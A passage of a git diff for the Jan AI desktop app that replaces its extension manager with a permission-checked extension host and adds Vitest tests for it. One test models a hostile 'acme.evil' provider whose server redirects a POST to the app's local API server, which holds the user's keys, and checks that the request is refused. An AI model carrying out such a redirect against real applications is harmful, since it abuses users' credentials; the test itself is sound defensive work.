port: 9090, api_key: 'k' })await ModelFactory.createModel('m', mkProvider('mlx'), {})const opts = getOpts()const ctrl = new AbortController()- await opts.fetch('http://x', { method: 'POST', body: JSON.stringify({}), signal: ctrl.signal })+ await opts.fetch('http://localhost:9090/v1/chat/completions', { method: 'POST', body: JSON.stringify({}), signal: ctrl.signal })ctrl.abort()await new Promise((r) => setTimeout(r, 20))expect(vi.mocked(httpFetch)).toHaveBeenCalledTimes(2)diff --git a/web-app/src/lib/__tests__/model-factory.test.ts b/web-app/src/lib/__tests__/model-factory.test.tsindex 0b5dcffdb..71c074012 100644--- a/web-app/src/lib/__tests__/model-factory.test.ts+++ b/web-app/src/lib/__tests__/model-factory.test.ts@@ -8,6 +8,10 @@ import {import type { ProviderObject } from '@janhq/core'import { invoke } from '@tauri-apps/api/core'import { createOpenAICompatible } from '@ai-sdk/openai-compatible'+import { i18n } from '@/i18n/react-i18next-compat'+import { PermissionDispatcher } from '@/lib/extensions/dispatcher'+import { createProviderFetch } from '@/lib/extensions/http'+import { fakeHttp, redirectTo } from '@/lib/extensions/__tests__/fake-http'const mockGlobalFetch = vi.fn()@@ -54,6 +58,13 @@ vi.mock('ai', () => ({const mockStartModel = vi.fn().mockResolvedValue(undefined)+const hostMock = vi.hoisted(() => ({+ providerFetch: vi.fn(),+}))+vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => hostMock,+}))+vi.mock('@/hooks/useServiceHub', () => ({useServiceStore: {getState: () => ({@@ -296,6 +307,69 @@ describe('ModelFactory — missing API key guard', () => {})})+describe('ModelFactory - extension providers', () => {+ const provider = {+ provider: 'acme.evil/chat',+ active: true,+ base_url: 'http://127.0.0.1:11999/v1',+ api_key: 'k',+ settings: [],+ models: [],+ source: { extensionId: 'acme.evil' },+ } as unknown as ProviderObject++ beforeEach(() => {+ vi.clearAllMocks()+ vi.stubGlobal('fetch', mockGlobalFetch)+ })++ it("runs inference on the extension's checked fetch, which refuses a 307 to the local API server", async () => {+ // What a hostile baseUrl would answer: a 307 that keeps the POST body+ // and lands on Jan's own server, which proxies with the user's keys.+ const server = fakeHttp(({ url }) =>+ url.includes(':11999')+ ? redirectTo(307, 'http://127.0.0.1:1337/v1/chat/completions')+ : { chunks: ['proxied'] }+ )+ const dispatcher = new PermissionDispatcher(() => 1337)+ dispatcher.grant('acme.evil', ['network:127.0.0.1'])+ hostMock.providerFetch.mockImplementation((extensionId: string) =>+ createProviderFetch({+ extensionId,+ http: server.http,+ checkUrl: (url) => dispatcher.checkUrl(extensionId, url),+ })+ )++ await ModelFactory.createModel('m', provider)+ expect(hostMock.providerFetch).toHaveBeenCalledWith('acme.evil', 'stream')+ const config = mockedCreateOpenAICompatible.mock.calls[0][0]+ expect(config.baseURL).toBe('http://127.0.0.1:11999/v1')+ await expect(+ config.fetch!('http://127.0.0.1:11999/v1/chat/completions', {+ method: 'POST',+ headers: { Authorization: 'Bearer k' },+ body: '{"model":"m","messages":[]}',+ })+ ).rejects.toMatchObject({ code: 'E_PERMISSION' })+ expect(server.urls()).toEqual(['http://127.0.0.1:11999/v1/chat/completions'])+ expect(server.headers().every((h) => h.cookie === undefined)).toBe(true)+ const { fetch: httpFetch } = await import('@tauri-apps/plugin-http')+ expect(httpFetch).not.toHaveBeenCalled()+ expect(mockGlobalFetch).not.toHaveBeenCalled()+ })++ it('refuses a provider whose extension has no network path', async () => {+ hostMock.providerFetch.mockReturnValue(undefined)+ await expect(ModelFactory.createModel('m', provider)).rejects.toThrow(+ i18n.t('model-errors:extensionProviderUnavailable', {+ provider: 'acme.evil/chat',+ })+ )+ expect(mockedCreateOpenAICompatible).not.toHaveBeenCalled()+ })+})+describe('createCustomFetch — named SSE event filtering scope', () => {const NAMED_EVENT_STREAM = ['event: message_start',diff --git a/web-app/src/lib/__tests__/modelValidationBridge.test.ts b/web-app/src/lib/__tests__/modelValidationBridge.test.tsnew file mode 100644index 000000000..e4f5d6830--- /dev/null+++ b/web-app/src/lib/__tests__/modelValidationBridge.test.ts@@ -0,0 +1,34 @@+import { describe, it, expect, vi } from 'vitest'++const emit = vi.hoisted(() => vi.fn())+vi.mock('@janhq/core', () => ({+ DownloadEvent: { onModelValidationStarted: 'onModelValidationStarted' },+ events: { emit },+}))++import { bridgeModelValidationStarted } from '../modelValidationBridge'++describe('bridgeModelValidationStarted', () => {+ it('relays the download manager event onto the core event bus', async () => {+ const unlisten = vi.fn()+ let relay: ((event: { payload: unknown }) => void) | undefined+ const listen = vi.fn(+ async (_name: string, handler: (event: { payload: unknown }) => void) => {+ relay = handler+ return unlisten+ }+ )++ const stop = await bridgeModelValidationStarted({ listen })++ // The name src-tauri/src/core/downloads/helpers.rs emits.+ expect(listen).toHaveBeenCalledWith(+ 'onModelValidationStarted',+ expect.any(Function)+ )+ const payload = { modelId: 'qwen', downloadType: 'Model' }+ relay?.({ payload })+ expect(emit).toHaveBeenCalledWith('onModelValidationStarted', payload)+ expect(stop).toBe(unlisten)+ })+})diff --git a/web-app/src/lib/__tests__/service.download.test.ts b/web-app/src/lib/__tests__/service.download.test.tsnew file mode 100644index 000000000..ddc193aba--- /dev/null+++ b/web-app/src/lib/__tests__/service.download.test.ts@@ -0,0 +1,62 @@+import { describe, it, expect, vi, beforeEach } from 'vitest'++const h = vi.hoisted(() => ({+ invoke: vi.fn(),+ listen: vi.fn(),+}))++vi.mock('@/lib/platform', () => ({ isPlatformTauri: () => true }))+vi.mock('@/hooks/useServiceHub', () => ({+ getServiceHub: () => ({+ core: () => ({ invoke: h.invoke }),+ events: () => ({ listen: h.listen }),+ }),+}))++import { APIs } from '../service'++type DownloadApis = {+ downloadFiles: (args: Record<string, unknown>) => Promise<void>+ cancelDownloadTask: (args: Record<string, unknown>) => Promise<void>+ pauseDownloadTask: (args: Record<string, unknown>) => Promise<void>+ onDownloadProgress: (+ taskId: string,+ handler: (progress: { transferred: number; total: number }) => void+ ) => Promise<() => void>+}++const api = APIs as unknown as DownloadApis++describe('download routes', () => {+ beforeEach(() => {+ h.invoke.mockReset().mockResolvedValue(undefined)+ h.listen.mockReset()+ })++ it.each([+ ['downloadFiles', 'download_files'],+ ['cancelDownloadTask', 'cancel_download_task'],+ ['pauseDownloadTask', 'pause_download_task'],+ ] as const)('maps %s to the %s command', async (route, command) => {+ const args = { taskId: 'task-1' }+ await api[route](args)+ expect(h.invoke).toHaveBeenCalledWith(command, args)+ })++ it('subscribes to the task channel and relays the raw payload', async () => {+ const unlisten = vi.fn()+ let relay: ((event: { payload: unknown }) => void) | undefined+ h.listen.mockImplementation(async (_event, handler) => {+ relay = handler+ return unlisten+ })+ const handler = vi.fn()++ const unsubscribe = await api.onDownloadProgress('task-2', handler)++ expect(h.listen).toHaveBeenCalledWith('download-task-2', expect.any(Function))+ relay?.({ payload: { transferred: 5, total: 10 } })+ expect(handler).toHaveBeenCalledWith({ transferred: 5, total: 10 })+ expect(unsubscribe).toBe(unlisten)+ })+})diff --git a/web-app/src/lib/__tests__/utils.test.ts b/web-app/src/lib/__tests__/utils.test.tsindex d014d1ab4..ee84fbc6a 100644--- a/web-app/src/lib/__tests__/utils.test.ts+++ b/web-app/src/lib/__tests__/utils.test.ts@@ -9,7 +9,9 @@ import {formatDuration,getModelDisplayName,splitHtmlArtifacts,+ isLocalProvider,} from '../utils'+import { EngineManager, type AIEngine } from '@janhq/core'describe('getProviderLogo', () => {it('returns correct logo paths for known providers', () => {@@ -48,6 +50,26 @@ describe('getProviderTitle', () => {it('handles empty strings', () => {expect(getProviderTitle('')).toBe('')})++ it('accepts a provider object and titles it by its name', () => {+ expect(getProviderTitle({ provider: 'openai' })).toBe('OpenAI')+ expect(getProviderTitle({ provider: 'mistral' })).toBe('Mistral')+ })++ it('prefers the display name a provider carries over its raw id', () => {+ expect(+ getProviderTitle({+ provider: 'jan-samples.hello-provider/hello-local',+ display_name: 'Hello Local',+ })+ ).toBe('Hello Local')+ })++ it('falls back to the id when the display name is empty', () => {+ expect(getProviderTitle({ provider: 'openai', display_name: '' })).toBe(+ 'OpenAI'+ )+ })})describe('getReadableLanguageName', () => {@@ -434,3 +456,13 @@ describe('splitHtmlArtifacts', () => {expect(segs[1].content).toBe('<svg><circle/></svg>')})})++describe('isLocalProvider', () => {+ it('is true only for a provider whose engine the engine manager holds', () => {+ const manager = new EngineManager()+ manager.register({ provider: 'llamacpp', load: vi.fn() } as unknown as AIEngine)+ vi.spyOn(EngineManager, 'instance').mockReturnValue(manager)+ expect(isLocalProvider('llamacpp')).toBe(true)+ expect(isLocalProvider('openai')).toBe(false)+ })+})diff --git a/web-app/src/lib/__tests__/zodCsp.test.ts b/web-app/src/lib/__tests__/zodCsp.test.tsnew file mode 100644index 000000000..2a5df4fa4--- /dev/null+++ b/web-app/src/lib/__tests__/zodCsp.test.ts@@ -0,0 +1,11 @@+import { describe, it, expect } from 'vitest'+import { config } from 'zod'+import '@/lib/zodCsp'++describe('zodCsp', () => {+ // Without jitless, the first object schema probes `new Function`, which the+ // window CSP (no 'unsafe-eval') refuses and reports as a violation.+ it('turns off the eval-based fast path', () => {+ expect(config().jitless).toBe(true)+ })+})diff --git a/web-app/src/lib/assetScope.ts b/web-app/src/lib/assetScope.tsnew file mode 100644index 000000000..27d5373ed--- /dev/null+++ b/web-app/src/lib/assetScope.ts@@ -0,0 +1,35 @@+import { getServiceHub } from '@/hooks/useServiceHub'+import { isPlatformTauri } from '@/lib/platform/utils'+import { useCoworkSessions } from '@/hooks/useCoworkSessions'++/**+ * The asset protocol serves nothing statically (see tauri.conf.json and+ * core::filesystem::asset_scope). A Cowork session's attached folder is+ * user-chosen and can live anywhere, so it is granted at runtime, once per+ * folder per launch, for its artifact thumbnails and preview pane.+ */+const granted = new Set<string>()++export function grantFolders(folders: Array<string | null>): void {+ if (!isPlatformTauri()) return+ for (const folder of folders) {+ if (!folder || granted.has(folder)) continue+ // Not retried on failure: the backend refuses a folder for a reason that+ // will not change (it contains the data folder, or no longer exists), and+ // a retry would fire on every store update.+ granted.add(folder)+ void getServiceHub()+ .core()+ .invoke('asset_scope_allow_folder', { folder })+ .catch((error: unknown) => {+ console.warn('Cowork folder not granted to the asset protocol:', error)+ })+ }+}++/** Grant every session's folder now, and each newly attached one after. */+export function grantCoworkFolders(): void {+ const folders = () => useCoworkSessions.getState().sessions.map((s) => s.folder)+ grantFolders(folders())+ useCoworkSessions.subscribe(() => grantFolders(folders()))+}diff --git a/web-app/src/lib/custom-chat-transport.ts b/web-app/src/lib/custom-chat-transport.tsindex dc9895ae6..ea82454f9 100644--- a/web-app/src/lib/custom-chat-transport.ts+++ b/web-app/src/lib/custom-chat-transport.ts@@ -47,18 +47,14 @@ import { routeRefusedToolCalls } from '@/lib/disabledToolCalls'import { useAppState, type ModelLoadProgress } from '@/hooks/useAppState'import { unloadLlamaModel, getLoadedModels } from '@janhq/tauri-plugin-llamacpp-api'import { engineFailure } from '@/lib/engineError'-import { ExtensionManager } from '@/lib/extension'+import { getExtensionHost } from '@/lib/extensions/host'import { getLlamacppExtension } from '@/lib/llamacppRouterProps'import {tokensForThinkingBudgetLevel,isThinkingBudgetLevelKey,} from '@/lib/thinkingBudget'import { buildReasoningProviderOptions } from '@/lib/reasoningProviderOptions'-import {- ExtensionTypeEnum,- VectorDBExtension,- type MCPTool,-} from '@janhq/core'+import { ServiceKeys, type MCPTool } from '@janhq/core'import {trimMessages,compactMessages,@@ -1094,11 +1090,12 @@ export class CustomChatTransport implements ChatTransport<UIMessage> {const projectId = thread?.metadata?.project?.idif (projectId) {try {- const ext = ExtensionManager.getInstance().get<VectorDBExtension>(- ExtensionTypeEnum.VectorDB+ const vectorDB = getExtensionHost().services.get(+ ServiceKeys.VectorDB)- if (ext?.listAttachmentsForProject) {- const projectFiles = await ext.listAttachmentsForProject(projectId)+ if (vectorDB) {+ const projectFiles =+ await vectorDB.listAttachmentsForProject(projectId)hasDocuments = hasThreadDocuments || projectFiles.length > 0}} catch (error) {@@ -1224,6 +1221,19 @@ export class CustomChatTransport implements ChatTransport<UIMessage> {} as Tool}+ // Tools contributed by extensions, under their prefixed wire names so+ // they can never shadow an MCP or built-in tool. Toggled per+ // extension like an MCP server.+ for (const tool of useAppState.getState().extensionTools) {+ if (isToolDisabled(tool.server, tool.wireName)) continue+ toolsRecord[tool.wireName] = {+ description: tool.description,+ inputSchema: jsonSchema(+ normalizeToolInputSchema(tool.inputSchema as Record<string, unknown>)+ ),+ } as Tool+ }+// The main chat offers exactly one built-in agent tool: the sandboxed// shell, with no network. The full toolset lives in Cowork. Schemas come// from Rust so they are never re-typed here, and `getAgentToolSchemas`diff --git a/web-app/src/lib/extension.ts b/web-app/src/lib/extension.tsdeleted file mode 100644index 2d6a3d570..000000000--- a/web-app/src/lib/extension.ts+++ /dev/null@@ -1,288 +0,0 @@-import { AIEngine, BaseExtension, ExtensionTypeEnum } from '@janhq/core'--import { getServiceHub } from '@/hooks/useServiceHub'--/**- * Extension manifest object.- */-export class Extension {- /** @type {string} Name of the extension. */- name: string-- /** @type {string} Product name of the extension. */- productName?: string-- /** @type {string} The URL of the extension to load. */- url: string-- /** @type {boolean} Whether the extension is activated or not. */- active?: boolean-- /** @type {string} Extension's description. */- description?: string-- /** @type {string} Extension's version. */- version?: string-- /** @type {BaseExtension} Pre-loaded extension instance for web extensions. */- extensionInstance?: BaseExtension-- constructor(- url: string,- name: string,- productName?: string,- active?: boolean,- description?: string,- version?: string,- extensionInstance?: BaseExtension- ) {- this.name = name- this.productName = productName- this.url = url- this.active = active- this.description = description- this.version = version- this.extensionInstance = extensionInstance- }-}--export type ExtensionManifest = {- url: string- name: string- productName?: string- active?: boolean- description?: string- version?: string- extensionInstance?: BaseExtension // For web extensions-}--/**- * Manages the registration and retrieval of extensions.- */-export class ExtensionManager {- date = new Date().toISOString()- // Registered extensions- private extensions = new Map<string, BaseExtension>()-- // Registered inference engines- private engines = new Map<string, AIEngine>()-- // Notified whenever an extension registers, so consumers waiting on a- // not-yet-ready extension (startup race) can re-attempt instead of polling.- private registrationListeners = new Set<() => void>()-- /**- * Registers an extension.- * @param extension - The extension to register.- */- register<T extends BaseExtension>(name: string, extension: T) {- // Register for naming use- this.extensions.set(name, extension)-- // Register AI Engines- if ('provider' in extension && typeof extension.provider === 'string') {- this.engines.set(- extension.provider as unknown as string,- extension as unknown as AIEngine- )- }-- this.registrationListeners.forEach((cb) => cb())- }-- /**- * Subscribes to extension registrations. Returns an unsubscribe function.- */- onRegistrationChange(cb: () => void): () => void {- this.registrationListeners.add(cb)- return () => this.registrationListeners.delete(cb)- }-- /**- * Retrieves a extension by its type.- * @param type - The type of the extension to retrieve.- * @returns The extension, if found.- */- get<T extends BaseExtension>(type: ExtensionTypeEnum): T | undefined {- return this.getAll().find((e) => e.type() === type) as T | undefined- }-- /**- * Retrieves a extension by its type.- * @param type - The type of the extension to retrieve.- * @returns The extension, if found.- */- getByName(name: string): BaseExtension | undefined {- return this.extensions.get(name) as BaseExtension | undefined- }-- /**- * Retrieves a extension by its type.- * @param type - The type of the extension to retrieve.- * @returns The extension, if found.- */- getAll(): BaseExtension[] {- return Array.from(this.extensions.values())- }-- /**- * Retrieves a extension by its type.- * @param engine - The engine name to retrieve.- * @returns The extension, if found.- */- getEngine<T extends AIEngine>(engine: string): T | undefined {- return this.engines.get(engine) as T | undefined- }-- /**- * Loads all registered extension.- */- async load(onProgress?: (done: number, total: number) => void) {- const exts = this.listExtensions()- let done = 0- onProgress?.(0, exts.length)- const results = await Promise.allSettled(- exts.map((ext) =>- Promise.resolve(ext.onLoad()).finally(() =>- onProgress?.(++done, exts.length)- )- )- )- results.forEach((r, i) => {- if (r.status === 'rejected') {- const name = exts[i]?.name ?? `index ${i}`- console.error(`Extension onLoad failed (${name}):`, r.reason)- }- })- }-- /**- * Unloads all registered extensions.- */- unload() {- this.listExtensions().forEach((ext) => {- ext.onUnload()- })- }-- /**- * Retrieves a list of all registered extensions.- * @returns An array of extensions.- */- listExtensions() {- return [...this.extensions.values()]- }-- /**- * Retrieves a list of all registered extensions.- * @returns An array of extensions.- */- async getActive(): Promise<Extension[]> {- const manifests = await getServiceHub().core().getActiveExtensions()- if (!manifests || !Array.isArray(manifests)) return []-- const extensions: Extension[] = manifests.map((manifest: ExtensionManifest) => {- return new Extension(- manifest.url,- manifest.name,- manifest.productName,- manifest.active,- manifest.description,- manifest.version,- manifest.extensionInstance // Pass the extension instance if available- )- })-- return extensions- }-- /**- * Register a extension with its class.- * @param {Extension} extension extension object as provided by the main process.- * @returns {void}- */- async activateExtension(extension: Extension) {- // Check if extension already has a pre-loaded instance (web extensions)- if (extension.extensionInstance) {- this.register(extension.name, extension.extensionInstance)- console.log(`Extension '${extension.name}' registered with pre-loaded instance`)- return- }-- // Import class for Tauri extensions- const extensionUrl = extension.url- await import(/* @vite-ignore */ getServiceHub().core().convertFileSrc(extensionUrl)).then(- (extensionClass) => {- // Register class if it has a default export- if (- typeof extensionClass.default === 'function' &&- extensionClass.default.prototype- ) {- this.register(- extension.name,- new extensionClass.default(- extension.url,- extension.name,- extension.productName,- extension.active,- extension.description,- extension.version- )- )- }- }- )- }-- /**- * Registers all active extensions.- * @returns {void}- */- async registerActive() {- // Get active extensions- const activeExtensions = (await this.getActive()) ?? []- // Activate all- await Promise.all(- activeExtensions.map((ext: Extension) => this.activateExtension(ext))- )- }-- /**- * Install a new extension.- * @param {Array.<installOptions | string>} extensions A list of NPM specifiers, or installation configuration objects.- * @returns {Promise.<Array.<Extension> | false>} extension as defined by the main process. Has property cancelled set to true if installation was cancelled in the main process.- */- async install(extensions: ExtensionManifest[]) {- if (typeof window === 'undefined') {- return- }- const res = await getServiceHub().core().installExtension(extensions)- return res.map(async (ext: ExtensionManifest) => {- const extension = new Extension(ext.name, ext.url)- await this.activateExtension(extension)- return extension- })- }-- /**- * Uninstall provided extensions- * @param {Array.<string>} extensions List of names of extensions to uninstall.- * @param {boolean} reload Whether to reload all renderers after updating the extensions.- * @returns {Promise.<boolean>} Whether uninstalling the extensions was successful.- */- async uninstall(extensions: string[], reload = true) {- if (typeof window === 'undefined') {- return- }- return await getServiceHub().core().uninstallExtension(extensions, reload)- }-- /**- * Shared instance of ExtensionManager.- */- static getInstance() {- if (!window.core.extensionManager)- window.core.extensionManager = new ExtensionManager()- return window.core.extensionManager as ExtensionManager- }-}diff --git a/web-app/src/lib/extensions/__tests__/builtins.test.ts b/web-app/src/lib/extensions/__tests__/builtins.test.tsnew file mode 100644index 000000000..11371c025--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/builtins.test.ts@@ -0,0 +1,49 @@+import { describe, it, expect } from 'vitest'+import { validateManifest } from '@janhq/extension-api'+import { HOST_BUILTINS, getHostBuiltins } from '../builtins'+import assistant from '../../../../../extensions/assistant-extension/package.json'+import download from '../../../../../extensions/download-extension/package.json'+import llamacpp from '../../../../../extensions/llamacpp-extension/package.json'+import mlx from '../../../../../extensions/mlx-extension/package.json'+import rag from '../../../../../extensions/rag-extension/package.json'+import vectorDb from '../../../../../extensions/vector-db-extension/package.json'++// vitest defines IS_MACOS as false, so mlx is not a host built-in here.+const HOST_PACKAGES = [assistant, download, llamacpp, vectorDb, rag]++describe('host built-ins', () => {+ it('gives every host built-in the manifest its package.json validates to', () => {+ expect(HOST_BUILTINS.map((b) => b.manifest.name)).toEqual(+ HOST_PACKAGES.map((p) => p.name)+ )+ for (const [i, pkg] of HOST_PACKAGES.entries()) {+ const result = validateManifest(pkg, { builtin: true })+ expect(result).toMatchObject({ ok: true })+ if (result.ok) expect(HOST_BUILTINS[i].manifest).toEqual(result.manifest)+ }+ })++ it('loads a module with activate for every host built-in', async () => {+ for (const b of HOST_BUILTINS) {+ const mod = await b.load()+ expect(typeof mod.activate).toBe('function')+ }+ })++ // mlx is a host built-in only on macOS; its manifest must still be valid.+ it('ships a valid manifest for the macOS-only mlx built-in', () => {+ expect(validateManifest(mlx, { builtin: true })).toMatchObject({+ ok: true,+ manifest: { id: 'jan.mlx' },+ })+ })++ it('activates rag only after the vector DB it reads', () => {+ const ragBuiltin = HOST_BUILTINS.find((b) => b.manifest.id === 'jan.rag')+ expect(ragBuiltin?.dependsOn).toEqual(['jan.vector-db'])+ })++ it('runs no host built-in on mobile', () => {+ expect(getHostBuiltins({ mobile: true })).toEqual([])+ })+})diff --git a/web-app/src/lib/extensions/__tests__/context.test.ts b/web-app/src/lib/extensions/__tests__/context.test.tsnew file mode 100644index 000000000..0282a8a26--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/context.test.ts@@ -0,0 +1,237 @@+import { describe, expect, it, vi } from 'vitest'+import type { ConversationsApi, PermissionString } from '@janhq/extension-api'+import { Emitter } from '@janhq/extension-api'+import { ContributionStore } from '../contributions'+import { createContext, type ContextDeps } from '../context'+import { PermissionDispatcher } from '../dispatcher'+import {+ MAX_CONCURRENT_FETCHES,+ MAX_SUBSCRIPTIONS_PER_EVENT,+} from '../host-api'+import { ExtensionSettingsStore } from '../settings-store'+import { fakeHttp, type FakeReply } from './fake-http'+import { manifest } from './fixtures'+import { memoryAppSettings, memorySecrets } from './memory'++const conversationsBackend = (): ConversationsApi => ({+ listThreads: vi+ .fn()+ .mockResolvedValue([{ id: 't1', title: 'One', updatedAt: 1 }]),+ getThread: vi.fn().mockResolvedValue(undefined),+ listMessages: vi.fn().mockResolvedValue([]),+ createThread: vi+ .fn()+ .mockResolvedValue({ id: 't2', title: 'New', updatedAt: 2, createdAt: 2 }),+ appendMessage: vi.fn(),+ onDidCreateMessage: new Emitter<never>().event,+ onDidDeleteThread: new Emitter<never>().event,+})++const permission = expect.objectContaining({ code: 'E_PERMISSION' })++function setup(+ permissions: PermissionString[],+ overrides: Partial<ContextDeps> = {}+) {+ const m = manifest('acme.one', {+ permissions,+ contributes: {+ commands: [{ id: 'hello', title: 'Hello' }],+ statusItems: [{ id: 'status', text: 'idle' }],+ settings: [+ {+ key: 'greeting',+ title: 'Greeting',+ control: { type: 'input', default: 'Hello' },+ },+ ],+ ...(permissions.includes('tools')+ ? {+ tools: [+ {+ name: 'echo',+ description: 'Echo',+ inputSchema: { type: 'object' as const },+ },+ ],+ }+ : {}),+ },+ })+ const dispatcher = new PermissionDispatcher()+ dispatcher.grant(m.id, m.permissions)+ const contributions = new ContributionStore()+ contributions.registerExtension(m)+ const settings = new ExtensionSettingsStore({+ appSettings: memoryAppSettings(),+ secrets: memorySecrets(),+ })+ settings.register(m)+ const deps: ContextDeps = {+ dispatcher,+ contributions,+ settings,+ storage: memoryAppSettings(),+ notify: vi.fn(),+ ...overrides,+ }+ return { ctx: createContext(m, deps), deps, contributions }+}++describe('createContext', () => {+ it('describes the extension', () => {+ const { ctx } = setup([])+ expect(ctx.extension).toEqual({+ id: 'acme.one',+ version: '1.0.0',+ displayName: 'acme.one',+ })+ })++ it('denies conversations to a built-in without conversations:read or :write', async () => {+ const backend = conversationsBackend()+ const { ctx } = setup([], { conversations: backend })+ await expect(ctx.conversations.listThreads()).rejects.toEqual(permission)+ await expect(ctx.conversations.getThread('t1')).rejects.toEqual(permission)+ await expect(ctx.conversations.listMessages('t1')).rejects.toEqual(+ permission+ )+ await expect(+ ctx.conversations.createThread({ title: 'x' })+ ).rejects.toEqual(permission)+ expect(() => ctx.conversations.onDidCreateMessage(() => {})).toThrowError(+ permission+ )+ expect(backend.listThreads).not.toHaveBeenCalled()+ })++ it('separates reading from writing conversations', async () => {+ const backend = conversationsBackend()+ const { ctx } = setup(['conversations:read'], { conversations: backend })+ await expect(ctx.conversations.listThreads()).resolves.toHaveLength(1)+ await expect(+ ctx.conversations.createThread({ title: 'x' })+ ).rejects.toEqual(permission)+ })++ it('reports a missing conversations backend as E_NOT_FOUND once permitted', async () => {+ const { ctx } = setup(['conversations:read'])+ await expect(ctx.conversations.listThreads()).rejects.toMatchObject({+ code: 'E_NOT_FOUND',+ })+ })++ it('gates notifications on ui:notify and labels them with the extension name', () => {+ const denied = setup([])+ expect(() =>+ denied.ctx.ui.notify({ level: 'info', message: 'hi' })+ ).toThrowError(permission)+ const allowed = setup(['ui:notify'])+ allowed.ctx.ui.notify({ level: 'info', message: 'hi' })+ expect(allowed.deps.notify).toHaveBeenCalledWith({+ extensionName: 'acme.one',+ level: 'info',+ message: 'hi',+ })+ })++ it('lets an extension use its own commands and status items without a permission', async () => {+ const { ctx, contributions } = setup([])+ const handler = vi.fn().mockReturnValue('done')+ ctx.commands.registerCommand('hello', handler)+ await expect(ctx.commands.execute('hello', 1)).resolves.toBe('done')+ expect(handler).toHaveBeenCalledWith(+ { location: 'extension', extensionId: 'acme.one' },+ 1+ )+ ctx.ui.setStatusItem('status', { text: 'busy' })+ expect(contributions.getState().statusItems['acme.one'].status.text).toBe(+ 'busy'+ )+ })++ it('cannot run a command it does not own', async () => {+ const { ctx } = setup([])+ await expect(ctx.commands.execute('other.cmd')).rejects.toMatchObject({+ code: 'E_NOT_FOUND',+ })+ })++ it('needs tools and providers for those registrations', () => {+ const denied = setup([])+ expect(() => denied.ctx.tools.registerTool('echo', vi.fn())).toThrowError(+ permission+ )+ expect(() => denied.ctx.providers.registerProvider('p', {})).toThrowError(+ permission+ )+ const allowed = setup(['tools'])+ expect(() => allowed.ctx.tools.registerTool('echo', vi.fn())).not.toThrow()+ })++ it('checks the host and scheme of every fetch', async () => {+ const { http } = fakeHttp(() => ({}))+ const { ctx } = setup(['network:api.acme.dev', 'network:localhost'], {+ http,+ })+ await expect(+ ctx.http.fetch('https://api.acme.dev/x')+ ).resolves.toMatchObject({ status: 200 })+ await expect(+ ctx.http.fetch('http://localhost:8080/x')+ ).resolves.toMatchObject({ status: 200 })+ await expect(ctx.http.fetch('https://example.com/')).rejects.toEqual(+ permission+ )+ await expect(ctx.http.fetch('http://api.acme.dev/x')).rejects.toEqual(+ permission+ )+ await expect(ctx.http.fetch('not a url')).rejects.toMatchObject({+ code: 'E_INVALID_ARGS',+ })+ expect(http.httpFetch).toHaveBeenCalledTimes(2)+ })++ it('scopes settings to the extension and forwards only its own changes', async () => {+ const { ctx, deps } = setup([])+ const listener = vi.fn()+ ctx.settings.onDidChange(listener)+ expect(await ctx.settings.get('greeting')).toBe('Hello')+ await ctx.settings.set('greeting', 'Hi')+ await deps.settings.setSettingValue('acme.one', 'greeting', 'Yo')+ expect(listener.mock.calls).toEqual([+ [{ key: 'greeting', value: 'Hi' }],+ [{ key: 'greeting', value: 'Yo' }],+ ])+ })++ it('holds a built-in to none of the limits a worker gets', async () => {+ const release: (() => void)[] = []+ const { http } = fakeHttp(+ () => new Promise<FakeReply>((resolve) => release.push(() => resolve({})))+ )+ const { ctx, deps } = setup(['ui:notify', 'network:api.acme.dev'], {+ http,+ })+ for (let i = 0; i < 50; i++)+ ctx.ui.notify({ level: 'info', message: `${i}` })+ expect(deps.notify).toHaveBeenCalledTimes(50)+ for (let i = 0; i < MAX_SUBSCRIPTIONS_PER_EVENT * 2; i++)+ ctx.settings.onDidChange(() => undefined)+ const running = Array.from({ length: MAX_CONCURRENT_FETCHES * 2 }, () =>+ ctx.http.fetch('https://api.acme.dev/')+ )+ await vi.waitFor(() =>+ expect(http.httpFetch).toHaveBeenCalledTimes(MAX_CONCURRENT_FETCHES * 2)+ )+ for (const r of release) r()+ await Promise.all(running)+ })++ it('stores data under the extension id', async () => {+ const storage = memoryAppSettings()+ const { ctx } = setup([], { storage })+ await ctx.storage.set('k', 1)+ expect(storage.data.has('extension:acme.one:storage')).toBe(true)+ })+})diff --git a/web-app/src/lib/extensions/__tests__/contributions.test.ts b/web-app/src/lib/extensions/__tests__/contributions.test.tsnew file mode 100644index 000000000..15e4afc45--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/contributions.test.ts@@ -0,0 +1,163 @@+import { describe, expect, it, vi } from 'vitest'+import { ContributionStore } from '../contributions'+import { manifest } from './fixtures'++const helloManifest = (id: string) =>+ manifest(id, {+ permissions: ['tools'],+ contributes: {+ commands: [{ id: 'hello', title: `Hello from ${id}` }],+ menus: { commandPalette: [{ command: 'hello' }] },+ statusItems: [{ id: 'status', text: 'idle' }],+ settings: [+ {+ key: 'name',+ title: 'Name',+ control: { type: 'input', default: 'x' },+ },+ ],+ tools: [+ { name: 'echo', description: 'Echo', inputSchema: { type: 'object' } },+ ],+ providers: [{ id: 'p', displayName: 'P', baseUrl: 'https://p.dev/v1' }],+ },+ })++describe('ContributionStore', () => {+ it('lists declared contributions per extension and removes them on dispose', () => {+ const store = new ContributionStore()+ const registration = store.registerExtension(helloManifest('acme.one'))+ const s = store.getState()+ expect(s.extensions['acme.one']).toEqual({ displayName: 'acme.one' })+ expect(s.commands['acme.one'].hello.title).toBe('Hello from acme.one')+ expect(s.menus['acme.one'].commandPalette).toEqual([{ command: 'hello' }])+ expect(s.statusItems['acme.one'].status.text).toBe('idle')+ expect(s.settings['acme.one'].map((x) => x.key)).toEqual(['name'])+ expect(Object.keys(s.tools['acme.one'])).toEqual(['echo'])+ expect(Object.keys(s.providers['acme.one'])).toEqual(['p'])++ registration.dispose()+ const after = store.getState()+ for (const slice of [+ after.extensions,+ after.commands,+ after.menus,+ after.statusItems,+ after.settings,+ after.tools,+ after.providers,+ ]) {+ expect(slice).not.toHaveProperty('acme.one')+ }+ })++ it('keeps same-named commands of two extensions apart', async () => {+ const store = new ContributionStore()+ store.registerExtension(helloManifest('acme.one'))+ store.registerExtension(helloManifest('acme.two'))+ const one = vi.fn().mockReturnValue(1)+ const two = vi.fn().mockReturnValue(2)+ store.registerCommand('acme.one', 'hello', one)+ store.registerCommand('acme.two', 'hello', two)++ await expect(+ store.executeCommand('acme.two', 'hello', { location: 'commandPalette' })+ ).resolves.toBe(2)+ expect(one).not.toHaveBeenCalled()+ 